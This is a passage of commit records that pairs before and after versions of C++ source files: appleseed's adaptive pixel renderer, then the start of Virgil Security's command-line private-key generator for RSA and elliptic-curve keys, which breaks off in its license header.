frame,\n Tile& tile,\n TileStack& aov_tiles) APPLESEED_OVERRIDE\n {\n m_scratch_fb_half_width = truncate<int>(ceil(frame.get_filter().get_xradius()));\n m_scratch_fb_half_height = truncate<int>(ceil(frame.get_filter().get_yradius()));\n\n m_scratch_fb.reset(\n new ShadingResultFrameBuffer(\n 2 * m_scratch_fb_half_width + 1,\n 2 * m_scratch_fb_half_height + 1,\n frame.aov_images().size(),\n frame.get_filter()));\n\n if (m_params.m_diagnostics)\n m_diagnostics.reset(new Tile(tile.get_width(), tile.get_height(), 2, PixelFormatFloat));\n }\n\n virtual void on_tile_end(\n const Frame& frame,\n Tile& tile,\n TileStack& aov_tiles) APPLESEED_OVERRIDE\n {\n if (m_params.m_diagnostics)\n {\n const size_t width = tile.get_width();\n const size_t height = tile.get_height();\n\n for (size_t y = 0; y < height; ++y)\n {\n for (size_t x = 0; x < width; ++x)\n {\n Color<float, 2> values;\n m_diagnostics->get_pixel(x, y, values);\n\n if (m_variation_aov_index != size_t(~0))\n aov_tiles.set_pixel(x, y, m_variation_aov_index, scalar_to_color(values[0]));\n\n if (m_samples_aov_index != size_t(~0))\n aov_tiles.set_pixel(x, y, m_samples_aov_index, scalar_to_color(values[1]));\n }\n }\n }\n }\n\n virtual void render_pixel(\n const Frame& frame,\n Tile& tile,\n TileStack& aov_tiles,\n const AABB2i& tile_bbox,\n const size_t pass_hash,\n const Vector2i& pi,\n const Vector2i& pt,\n SamplingContext::RNGType& rng,\n ShadingResultFrameBuffer& framebuffer) APPLESEED_OVERRIDE\n {\n const size_t aov_count = frame.aov_images().size();\n\n on_pixel_begin();\n\n m_scratch_fb->clear();\n\n \/\/ Create a sampling context.\n const size_t frame_width = frame.image().properties().m_canvas_width;\n const size_t instance =\n mix_uint32(\n static_cast<uint32>(pass_hash),\n static_cast<uint32>(pi.y * frame_width + pi.x));\n SamplingContext sampling_context(\n rng,\n m_params.m_sampling_mode,\n 2, \/\/ number of dimensions\n 0, \/\/ number of samples -- unknown\n instance); \/\/ initial instance number\n\n VariationTracker trackers[3];\n\n while (true)\n {\n trackers[0].reset_variation();\n trackers[1].reset_variation();\n trackers[2].reset_variation();\n\n \/\/ Don't exceed 'max' samples in total.\n assert(trackers[0].get_size() <= m_params.m_max_samples);\n const size_t remaining_samples = m_params.m_max_samples - trackers[0].get_size();\n if (remaining_samples == 0)\n break;\n\n \/\/ Each batch contains 'min' samples.\n const size_t batch_size = min(m_params.m_min_samples, remaining_samples);\n\n for (size_t i = 0; i < batch_size; ++i)\n {\n \/\/ Generate a uniform sample in [0,1)^2.\n const Vector2d s = sampling_context.next2<Vector2d>();\n\n \/\/ Compute the sample position in NDC.\n const Vector2d sample_position = frame.get_sample_position(pi.x + s.x, pi.y + s.y);\n\n \/\/ Create a pixel context that identifies the pixel and sample currently being rendered.\n const PixelContext pixel_context(pi, sample_position);\n\n \/\/ Render the sample.\n ShadingResult shading_result(aov_count);\n SamplingContext child_sampling_context(sampling_context);\n m_sample_renderer->render_sample(\n child_sampling_context,\n pixel_context,\n sample_position,\n shading_result);\n\n \/\/ Ignore invalid samples.\n if (!shading_result.is_valid_linear_rgb())\n {\n signal_invalid_sample();\n continue;\n }\n\n \/\/ Merge the sample into the scratch framebuffer.\n m_scratch_fb->add(\n static_cast<float>(m_scratch_fb_half_width + s.x),\n static_cast<float>(m_scratch_fb_half_height + s.y),\n shading_result);\n\n \/\/ Update statistics for this pixel.\n \/\/ todo: variation should be computed in a user-selectable color space, typically the target color space.\n \/\/ todo: one tracker per AOV?\n trackers[0].insert(shading_result.m_main.m_color[0]);\n trackers[1].insert(shading_result.m_main.m_color[1]);\n trackers[2].insert(shading_result.m_main.m_color[2]);\n }\n\n \/\/ Stop if the variation criterion is met.\n if (trackers[0].get_variation() <= m_params.m_max_variation &&\n trackers[1].get_variation() <= m_params.m_max_variation &&\n trackers[2].get_variation() <= m_params.m_max_variation)\n break;\n }\n\n \/\/ Merge the scratch framebuffer into the output framebuffer.\n const float rcp_sample_count = 1.0f \/ trackers[0].get_size();\n for (int y = -m_scratch_fb_half_height; y <= m_scratch_fb_half_height; ++y)\n {\n for (int x = -m_scratch_fb_half_width; x <= m_scratch_fb_half_width; ++x)\n {\n if (tile_bbox.contains(Vector2i(pt.x + x, pt.y + y)))\n {\n framebuffer.merge( \/\/ destination\n pt.x + x, \/\/ destination X\n pt.y + y, \/\/ destination Y\n *m_scratch_fb.get(), \/\/ source\n m_scratch_fb_half_width + x, \/\/ source X\n m_scratch_fb_half_height + y, \/\/ source Y\n rcp_sample_count); \/\/ scaling\n }\n }\n }\n\n \/\/ Store diagnostics values in the diagnostics tile.\n if (m_params.m_diagnostics && tile_bbox.contains(pt))\n {\n Color<float, 2> values;\n\n values[0] =\n saturate(\n max(\n trackers[0].get_variation(),\n trackers[1].get_variation(),\n trackers[2].get_variation())\n \/ m_params.m_max_variation);\n\n values[1] =\n m_params.m_min_samples == m_params.m_max_samples\n ? 1.0f\n : fit(\n static_cast<float>(trackers[0].get_size()),\n static_cast<float>(m_params.m_min_samples),\n static_cast<float>(m_params.m_max_samples),\n 0.0f, 1.0f);\n\n m_diagnostics->set_pixel(pt.x, pt.y, values);\n }\n\n on_pixel_end(pi);\n }\n\n virtual StatisticsVector get_statistics() const APPLESEED_OVERRIDE\n {\n return m_sample_renderer->get_statistics();\n }\n\n private:\n struct Parameters\n {\n const SamplingContext::Mode m_sampling_mode;\n const size_t m_min_samples;\n const size_t m_max_samples;\n const float m_max_variation;\n const bool m_diagnostics;\n\n explicit Parameters(const ParamArray& params)\n : m_sampling_mode(get_sampling_context_mode(params))\n , m_min_samples(params.get_required<size_t>(\"min_samples\", 16))\n , m_max_samples(params.get_required<size_t>(\"max_samples\", 256))\n , m_max_variation(pow(10.0f, -params.get_optional<float>(\"quality\", 2.0f)))\n , m_diagnostics(params.get_optional<bool>(\"enable_diagnostics\", false))\n {\n }\n };\n\n const Parameters m_params;\n auto_release_ptr<ISampleRenderer> m_sample_renderer;\n size_t m_variation_aov_index;\n size_t m_samples_aov_index;\n int m_scratch_fb_half_width;\n int m_scratch_fb_half_height;\n auto_ptr<ShadingResultFrameBuffer> m_scratch_fb;\n auto_ptr<Tile> m_diagnostics;\n\n static Color4f scalar_to_color(const float value)\n {\n static const Color4f Blue(0.0f, 0.0f, 1.0f, 1.0f);\n static const Color4f Red(1.0f, 0.0f, 0.0f, 1.0f);\n return lerp(Blue, Red, saturate(value));\n }\n };\n}\n\n\n\/\/\n\/\/ AdaptivePixelRendererFactory class implementation.\n\/\/\n\nAdaptivePixelRendererFactory::AdaptivePixelRendererFactory(\n const Frame& frame,\n ISampleRendererFactory* factory,\n const ParamArray& params)\n : m_frame(frame)\n , m_factory(factory)\n , m_params(params)\n{\n}\n\nvoid AdaptivePixelRendererFactory::release()\n{\n delete this;\n}\n\nIPixelRenderer* AdaptivePixelRendererFactory::create(\n const size_t thread_index)\n{\n return new AdaptivePixelRenderer(\n m_frame,\n m_factory,\n m_params,\n thread_index);\n}\n\nDictionary AdaptivePixelRendererFactory::get_params_metadata()\n{\n Dictionary metadata;\n\n metadata.dictionaries().insert(\n \"min_samples\",\n Dictionary()\n .insert(\"type\", \"int\")\n .insert(\"default\", \"16\")\n .insert(\"label\", \"Min Samples\")\n .insert(\"help\", \"Minimum number of anti-aliasing samples\"));\n\n metadata.dictionaries().insert(\n \"max_samples\",\n Dictionary()\n .insert(\"type\", \"int\")\n .insert(\"default\", \"256\")\n .insert(\"label\", \"Max Samples\")\n .insert(\"help\", \"Maximum number of anti-aliasing samples\"));\n\n metadata.dictionaries().insert(\n \"quality\",\n Dictionary()\n .insert(\"type\", \"float\")\n .insert(\"default\", \"2.0\")\n .insert(\"label\", \"Quality\")\n .insert(\"help\", \"Quality factor\"));\n\n metadata.dictionaries().insert(\n \"enable_diagnostics\",\n Dictionary()\n .insert(\"type\", \"bool\")\n .insert(\"default\", \"false\")\n .insert(\"label\", \"Enable Diagnostics\")\n .insert(\n \"help\",\n \"Enable adaptive sampling diagnostics\"));\n\n return metadata;\n}\n\n} \/\/ namespace renderer\n<commit_msg>Do not create aov images directly.<commit_after>\n\/\/\n\/\/ This source file is part of appleseed.\n\/\/ Visit http:\/\/appleseedhq.net\/ for additional information and resources.\n\/\/\n\/\/ This software is released under the MIT license.\n\/\/\n\/\/ Copyright (c) 2010-2013 Francois Beaune, Jupiter Jazz Limited\n\/\/ Copyright (c) 2014-2017 Francois Beaune, The appleseedhq Organization\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\/\/ Interface header.\n#include \"adaptivepixelrenderer.h\"\n\n\/\/ appleseed.renderer headers.\n#include \"renderer\/global\/globallogger.h\"\n#include \"renderer\/global\/globaltypes.h\"\n#include \"renderer\/kernel\/aov\/aovsettings.h\"\n#include \"renderer\/kernel\/aov\/imagestack.h\"\n#include \"renderer\/kernel\/aov\/tilestack.h\"\n#include \"renderer\/kernel\/rendering\/final\/variationtracker.h\"\n#include \"renderer\/kernel\/rendering\/isamplerenderer.h\"\n#include \"renderer\/kernel\/rendering\/pixelcontext.h\"\n#include \"renderer\/kernel\/rendering\/pixelrendererbase.h\"\n#include \"renderer\/kernel\/rendering\/shadingresultframebuffer.h\"\n#include \"renderer\/kernel\/shading\/shadingfragment.h\"\n#include \"renderer\/kernel\/shading\/shadingresult.h\"\n#include \"renderer\/modeling\/frame\/frame.h\"\n#include \"renderer\/utility\/settingsparsing.h\"\n\n\/\/ appleseed.foundation headers.\n#include \"foundation\/image\/color.h\"\n#include \"foundation\/image\/image.h\"\n#include \"foundation\/image\/tile.h\"\n#include \"foundation\/math\/aabb.h\"\n#include \"foundation\/math\/hash.h\"\n#include \"foundation\/math\/minmax.h\"\n#include \"foundation\/math\/scalar.h\"\n#include \"foundation\/math\/vector.h\"\n#include \"foundation\/platform\/types.h\"\n#include \"foundation\/utility\/autoreleaseptr.h\"\n#include \"foundation\/utility\/containers\/dictionary.h\"\n#include \"foundation\/utility\/statistics.h\"\n\n\/\/ Standard headers.\n#include <algorithm>\n#include <cassert>\n#include <cmath>\n#include <memory>\n\nusing namespace foundation;\nusing namespace std;\n\nnamespace renderer\n{\n\nnamespace\n{\n \/\/\n \/\/ Adaptive pixel renderer.\n \/\/\n\n class AdaptivePixelRenderer\n : public PixelRendererBase\n {\n public:\n AdaptivePixelRenderer(\n const Frame& frame,\n ISampleRendererFactory* factory,\n const ParamArray& params,\n const size_t thread_index)\n : m_params(params)\n , m_sample_renderer(factory->create(thread_index))\n {\n if (m_params.m_diagnostics)\n {\n m_variation_aov_index = frame.create_extra_aov_image(\"variation\");\n m_samples_aov_index = frame.create_extra_aov_image(\"samples\");\n\n if ((thread_index == 0) && (m_variation_aov_index == size_t(~0) || m_samples_aov_index == size_t(~0)))\n {\n RENDERER_LOG_WARNING(\n \"could not create some of the diagnostic AOVs, maximum number of AOVs (\" FMT_SIZE_T \") reached.\",\n MaxAOVCount);\n }\n }\n }\n\n virtual void release() APPLESEED_OVERRIDE\n {\n delete this;\n }\n\n virtual void on_tile_begin(\n const Frame& frame,\n Tile& tile,\n TileStack& aov_tiles) APPLESEED_OVERRIDE\n {\n m_scratch_fb_half_width = truncate<int>(ceil(frame.get_filter().get_xradius()));\n m_scratch_fb_half_height = truncate<int>(ceil(frame.get_filter().get_yradius()));\n\n m_scratch_fb.reset(\n new ShadingResultFrameBuffer(\n 2 * m_scratch_fb_half_width + 1,\n 2 * m_scratch_fb_half_height + 1,\n frame.aov_images().size(),\n frame.get_filter()));\n\n if (m_params.m_diagnostics)\n m_diagnostics.reset(new Tile(tile.get_width(), tile.get_height(), 2, PixelFormatFloat));\n }\n\n virtual void on_tile_end(\n const Frame& frame,\n Tile& tile,\n TileStack& aov_tiles) APPLESEED_OVERRIDE\n {\n if (m_params.m_diagnostics)\n {\n const size_t width = tile.get_width();\n const size_t height = tile.get_height();\n\n for (size_t y = 0; y < height; ++y)\n {\n for (size_t x = 0; x < width; ++x)\n {\n Color<float, 2> values;\n m_diagnostics->get_pixel(x, y, values);\n\n if (m_variation_aov_index != size_t(~0))\n aov_tiles.set_pixel(x, y, m_variation_aov_index, scalar_to_color(values[0]));\n\n if (m_samples_aov_index != size_t(~0))\n aov_tiles.set_pixel(x, y, m_samples_aov_index, scalar_to_color(values[1]));\n }\n }\n }\n }\n\n virtual void render_pixel(\n const Frame& frame,\n Tile& tile,\n TileStack& aov_tiles,\n const AABB2i& tile_bbox,\n const size_t pass_hash,\n const Vector2i& pi,\n const Vector2i& pt,\n SamplingContext::RNGType& rng,\n ShadingResultFrameBuffer& framebuffer) APPLESEED_OVERRIDE\n {\n const size_t aov_count = frame.aov_images().size();\n\n on_pixel_begin();\n\n m_scratch_fb->clear();\n\n \/\/ Create a sampling context.\n const size_t frame_width = frame.image().properties().m_canvas_width;\n const size_t instance =\n mix_uint32(\n static_cast<uint32>(pass_hash),\n static_cast<uint32>(pi.y * frame_width + pi.x));\n SamplingContext sampling_context(\n rng,\n m_params.m_sampling_mode,\n 2, \/\/ number of dimensions\n 0, \/\/ number of samples -- unknown\n instance); \/\/ initial instance number\n\n VariationTracker trackers[3];\n\n while (true)\n {\n trackers[0].reset_variation();\n trackers[1].reset_variation();\n trackers[2].reset_variation();\n\n \/\/ Don't exceed 'max' samples in total.\n assert(trackers[0].get_size() <= m_params.m_max_samples);\n const size_t remaining_samples = m_params.m_max_samples - trackers[0].get_size();\n if (remaining_samples == 0)\n break;\n\n \/\/ Each batch contains 'min' samples.\n const size_t batch_size = min(m_params.m_min_samples, remaining_samples);\n\n for (size_t i = 0; i < batch_size; ++i)\n {\n \/\/ Generate a uniform sample in [0,1)^2.\n const Vector2d s = sampling_context.next2<Vector2d>();\n\n \/\/ Compute the sample position in NDC.\n const Vector2d sample_position = frame.get_sample_position(pi.x + s.x, pi.y + s.y);\n\n \/\/ Create a pixel context that identifies the pixel and sample currently being rendered.\n const PixelContext pixel_context(pi, sample_position);\n\n \/\/ Render the sample.\n ShadingResult shading_result(aov_count);\n SamplingContext child_sampling_context(sampling_context);\n m_sample_renderer->render_sample(\n child_sampling_context,\n pixel_context,\n sample_position,\n shading_result);\n\n \/\/ Ignore invalid samples.\n if (!shading_result.is_valid_linear_rgb())\n {\n signal_invalid_sample();\n continue;\n }\n\n \/\/ Merge the sample into the scratch framebuffer.\n m_scratch_fb->add(\n static_cast<float>(m_scratch_fb_half_width + s.x),\n static_cast<float>(m_scratch_fb_half_height + s.y),\n shading_result);\n\n \/\/ Update statistics for this pixel.\n \/\/ todo: variation should be computed in a user-selectable color space, typically the target color space.\n \/\/ todo: one tracker per AOV?\n trackers[0].insert(shading_result.m_main.m_color[0]);\n trackers[1].insert(shading_result.m_main.m_color[1]);\n trackers[2].insert(shading_result.m_main.m_color[2]);\n }\n\n \/\/ Stop if the variation criterion is met.\n if (trackers[0].get_variation() <= m_params.m_max_variation &&\n trackers[1].get_variation() <= m_params.m_max_variation &&\n trackers[2].get_variation() <= m_params.m_max_variation)\n break;\n }\n\n \/\/ Merge the scratch framebuffer into the output framebuffer.\n const float rcp_sample_count = 1.0f \/ trackers[0].get_size();\n for (int y = -m_scratch_fb_half_height; y <= m_scratch_fb_half_height; ++y)\n {\n for (int x = -m_scratch_fb_half_width; x <= m_scratch_fb_half_width; ++x)\n {\n if (tile_bbox.contains(Vector2i(pt.x + x, pt.y + y)))\n {\n framebuffer.merge( \/\/ destination\n pt.x + x, \/\/ destination X\n pt.y + y, \/\/ destination Y\n *m_scratch_fb.get(), \/\/ source\n m_scratch_fb_half_width + x, \/\/ source X\n m_scratch_fb_half_height + y, \/\/ source Y\n rcp_sample_count); \/\/ scaling\n }\n }\n }\n\n \/\/ Store diagnostics values in the diagnostics tile.\n if (m_params.m_diagnostics && tile_bbox.contains(pt))\n {\n Color<float, 2> values;\n\n values[0] =\n saturate(\n max(\n trackers[0].get_variation(),\n trackers[1].get_variation(),\n trackers[2].get_variation())\n \/ m_params.m_max_variation);\n\n values[1] =\n m_params.m_min_samples == m_params.m_max_samples\n ? 1.0f\n : fit(\n static_cast<float>(trackers[0].get_size()),\n static_cast<float>(m_params.m_min_samples),\n static_cast<float>(m_params.m_max_samples),\n 0.0f, 1.0f);\n\n m_diagnostics->set_pixel(pt.x, pt.y, values);\n }\n\n on_pixel_end(pi);\n }\n\n virtual StatisticsVector get_statistics() const APPLESEED_OVERRIDE\n {\n return m_sample_renderer->get_statistics();\n }\n\n private:\n struct Parameters\n {\n const SamplingContext::Mode m_sampling_mode;\n const size_t m_min_samples;\n const size_t m_max_samples;\n const float m_max_variation;\n const bool m_diagnostics;\n\n explicit Parameters(const ParamArray& params)\n : m_sampling_mode(get_sampling_context_mode(params))\n , m_min_samples(params.get_required<size_t>(\"min_samples\", 16))\n , m_max_samples(params.get_required<size_t>(\"max_samples\", 256))\n , m_max_variation(pow(10.0f, -params.get_optional<float>(\"quality\", 2.0f)))\n , m_diagnostics(params.get_optional<bool>(\"enable_diagnostics\", false))\n {\n }\n };\n\n const Parameters m_params;\n auto_release_ptr<ISampleRenderer> m_sample_renderer;\n size_t m_variation_aov_index;\n size_t m_samples_aov_index;\n int m_scratch_fb_half_width;\n int m_scratch_fb_half_height;\n auto_ptr<ShadingResultFrameBuffer> m_scratch_fb;\n auto_ptr<Tile> m_diagnostics;\n\n static Color4f scalar_to_color(const float value)\n {\n static const Color4f Blue(0.0f, 0.0f, 1.0f, 1.0f);\n static const Color4f Red(1.0f, 0.0f, 0.0f, 1.0f);\n return lerp(Blue, Red, saturate(value));\n }\n };\n}\n\n\n\/\/\n\/\/ AdaptivePixelRendererFactory class implementation.\n\/\/\n\nAdaptivePixelRendererFactory::AdaptivePixelRendererFactory(\n const Frame& frame,\n ISampleRendererFactory* factory,\n const ParamArray& params)\n : m_frame(frame)\n , m_factory(factory)\n , m_params(params)\n{\n}\n\nvoid AdaptivePixelRendererFactory::release()\n{\n delete this;\n}\n\nIPixelRenderer* AdaptivePixelRendererFactory::create(\n const size_t thread_index)\n{\n return new AdaptivePixelRenderer(\n m_frame,\n m_factory,\n m_params,\n thread_index);\n}\n\nDictionary AdaptivePixelRendererFactory::get_params_metadata()\n{\n Dictionary metadata;\n\n metadata.dictionaries().insert(\n \"min_samples\",\n Dictionary()\n .insert(\"type\", \"int\")\n .insert(\"default\", \"16\")\n .insert(\"label\", \"Min Samples\")\n .insert(\"help\", \"Minimum number of anti-aliasing samples\"));\n\n metadata.dictionaries().insert(\n \"max_samples\",\n Dictionary()\n .insert(\"type\", \"int\")\n .insert(\"default\", \"256\")\n .insert(\"label\", \"Max Samples\")\n .insert(\"help\", \"Maximum number of anti-aliasing samples\"));\n\n metadata.dictionaries().insert(\n \"quality\",\n Dictionary()\n .insert(\"type\", \"float\")\n .insert(\"default\", \"2.0\")\n .insert(\"label\", \"Quality\")\n .insert(\"help\", \"Quality factor\"));\n\n metadata.dictionaries().insert(\n \"enable_diagnostics\",\n Dictionary()\n .insert(\"type\", \"bool\")\n .insert(\"default\", \"false\")\n .insert(\"label\", \"Enable Diagnostics\")\n .insert(\n \"help\",\n \"Enable adaptive sampling diagnostics\"));\n\n return metadata;\n}\n\n} \/\/ namespace renderer\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Copyright (C) 2015 Virgil Security Inc.\n *\n * Lead Maintainer: Virgil Security Inc. <support@virgilsecurity.com>\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * (1) Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * (2) Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * (3) Neither the name of the copyright holder nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ''AS IS'' AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING\n * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <algorithm>\n#include <fstream>\n#include <iostream>\n#include <iterator>\n#include <map>\n#include <stdexcept>\n#include <string>\n\n#include <tclap\/CmdLine.h>\n\n#include <virgil\/crypto\/VirgilByteArray.h>\n#include <virgil\/crypto\/foundation\/VirgilKeyPairGenerator.h>\n#include <virgil\/crypto\/foundation\/VirgilAsymmetricCipher.h>\n\n#include <cli\/version.h>\n#include <cli\/util.h>\n\nusing virgil::crypto::VirgilByteArray;\nusing virgil::crypto::foundation::VirgilKeyPairGenerator;\nusing virgil::crypto::foundation::VirgilAsymmetricCipher;\n\n\/**\n * @brief Convert string representation of the Elliptic Curve group to the appropriate constant.\n *\/\nstatic VirgilKeyPairGenerator::ECKeyGroup ec_key_group_from_param(const std::string ¶m);\n\n#ifdef SPLIT_CLI\n#define MAIN main\n#else\n#define MAIN keygen_main\n#endif\n\nint MAIN(int argc, char **argv) {\n try {\n \/\/ Parse arguments.\n TCLAP::CmdLine cmd(\"Generate private key with given parameters.\", ' ', virgil::cli_version());\n\n std::vector<std::string> ec_key;\n ec_key.push_back(\" bp256r1 \");\n ec_key.push_back(\" bp384r1 \");\n ec_key.push_back(\" bp512r1 \");\n ec_key.push_back(\" secp192r1 \");\n ec_key.push_back(\" secp224r1 \");\n ec_key.push_back(\" secp256r1 \");\n ec_key.push_back(\" secp384r1 \");\n ec_key.push_back(\" secp521r1 \");\n ec_key.push_back(\" secp192k1 \");\n ec_key.push_back(\" secp224k1 \");\n ec_key.push_back(\" secp256k1 \");\n TCLAP::ValuesConstraint<std::string> allowedEcKey(ec_key);\n\n TCLAP::ValueArg<std::string> ecArg(\"e\", \"ec\",\n \"Generate elliptic curve key with one of the following curves:\\n\"\n \"\\t* bp256r1 - 256-bits Brainpool curve;\\n\"\n \"\\t* bp384r1 - 384-bits Brainpool curve;\\n\"\n \"\\t* bp512r1 - 512-bits Brainpool curve (default);\\n\"\n \"\\t* secp192r1 - 192-bits NIST curve;\\n\"\n \"\\t* secp224r1 - 224-bits NIST curve;\\n\"\n \"\\t* secp256r1 - 256-bits NIST curve;\\n\"\n \"\\t* secp384r1 - 384-bits NIST curve;\\n\"\n \"\\t* secp521r1 - 521-bits NIST curve;\\n\"\n \"\\t* secp192k1 - 192-bits \\\"Koblitz\\\" curve;\\n\"\n \"\\t* secp224k1 - 224-bits \\\"Koblitz\\\" curve;\\n\"\n \"\\t* secp256k1 - 256-bits \\\"Koblitz\\\" curve.\\n\",\n false, \"bp512r1\", &allowedEcKey);\n\n TCLAP::ValueArg<unsigned int> rsaArg(\"r\", \"rsa\", \"Generate RSA key with a given number of bits.\",\n false, 0, \"nbits\");\n\n TCLAP::ValueArg<std::string> outArg(\"o\", \"out\", \"Private key. If omitted stdout is used.\",\n false, \"\", \"file\");\n\n TCLAP::ValueArg<std::string> pwdArg(\"p\", \"pwd\", \"Password to be used for private key encryption. \"\n \"If omitted private key is stored in the plain format.\", false, \"\", \"arg\");\n\n cmd.add(pwdArg);\n cmd.add(outArg);\n cmd.add(ecArg);\n cmd.add(rsaArg);\n\n cmd.parse(argc, argv);\n\n \/\/ Check parameters\n if (!ecArg.getValue().empty() && rsaArg.getValue() > 0) {\n throw std::invalid_argument(\"-e, --ec and -r, --rsa parameters are both specified\");\n }\n\n VirgilAsymmetricCipher cipher = VirgilAsymmetricCipher::none();\n if (rsaArg.isSet()) {\n \/\/ Generate RSA key\n cipher = VirgilAsymmetricCipher::rsa();\n cipher.genKeyPair(VirgilKeyPairGenerator::rsa(rsaArg.getValue()));\n } else {\n \/\/ Generate EC key\n VirgilKeyPairGenerator::ECKeyGroup ecKeyGroup = ec_key_group_from_param(ecArg.getValue());\n if (ecKeyGroup == VirgilKeyPairGenerator::ECKeyGroup_DP_NONE) {\n if (ecArg.getValue().empty()) {\n ecKeyGroup = VirgilKeyPairGenerator::ECKeyGroup_DP_BP512R1;\n } else {\n throw std::invalid_argument(std::string(\"unknown elliptic curve: \") + ecArg.getValue());\n }\n }\n cipher = VirgilAsymmetricCipher::ec();\n cipher.genKeyPair(VirgilKeyPairGenerator::ec(ecKeyGroup));\n }\n\n \/\/ Export private key\n VirgilByteArray privateKey = cipher.exportPrivateKeyToPEM(virgil::crypto::str2bytes(pwdArg.getValue()));\n\n \/\/ Write private key\n virgil::cli::write_bytes(outArg.getValue(), privateKey);\n\n } catch (TCLAP::ArgException& exception) {\n std::cerr << \"Error: \" << exception.error() << \" for arg \" << exception.argId() << std::endl;\n return EXIT_FAILURE;\n } catch (std::exception& exception) {\n std::cerr << \"Error: \" << exception.what() << std::endl;\n return EXIT_FAILURE;\n }\n\n return EXIT_SUCCESS;\n}\n\nstatic VirgilKeyPairGenerator::ECKeyGroup ec_key_group_from_param(const std::string ¶m) {\n std::map<std::string, VirgilKeyPairGenerator::ECKeyGroup> ecKeyGroup;\n ecKeyGroup[\"secp192r1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_SECP192R1;\n ecKeyGroup[\"secp224r1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_SECP224R1;\n ecKeyGroup[\"secp256r1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_SECP256R1;\n ecKeyGroup[\"secp384r1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_SECP384R1;\n ecKeyGroup[\"secp521r1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_SECP521R1;\n ecKeyGroup[\"bp256r1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_BP256R1;\n ecKeyGroup[\"bp384r1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_BP384R1;\n ecKeyGroup[\"bp512r1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_BP512R1;\n ecKeyGroup[\"secp192k1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_SECP192K1;\n ecKeyGroup[\"secp224k1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_SECP224K1;\n ecKeyGroup[\"secp256k1\"] = VirgilKeyPairGenerator::ECKeyGroup_DP_SECP256K1;\n\n auto group = ecKeyGroup.find(param);\n if (group != ecKeyGroup.end()) {\n return group->second;\n }\n return VirgilKeyPairGenerator::ECKeyGroup_DP_NONE;\n}\n<commit_msg>[CLI-7] Fix RSA and EC keys generation.<commit_after>\/**\n * Copyright (C) 2015 Virgil Security Inc.\n *\n * Lead Maintainer: Virgil Security Inc. <support@virgilsecurity.com>\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * (1) Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * (2) Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * (3) Neither the name of the copyright holder nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ''AS IS'' AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,\n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT 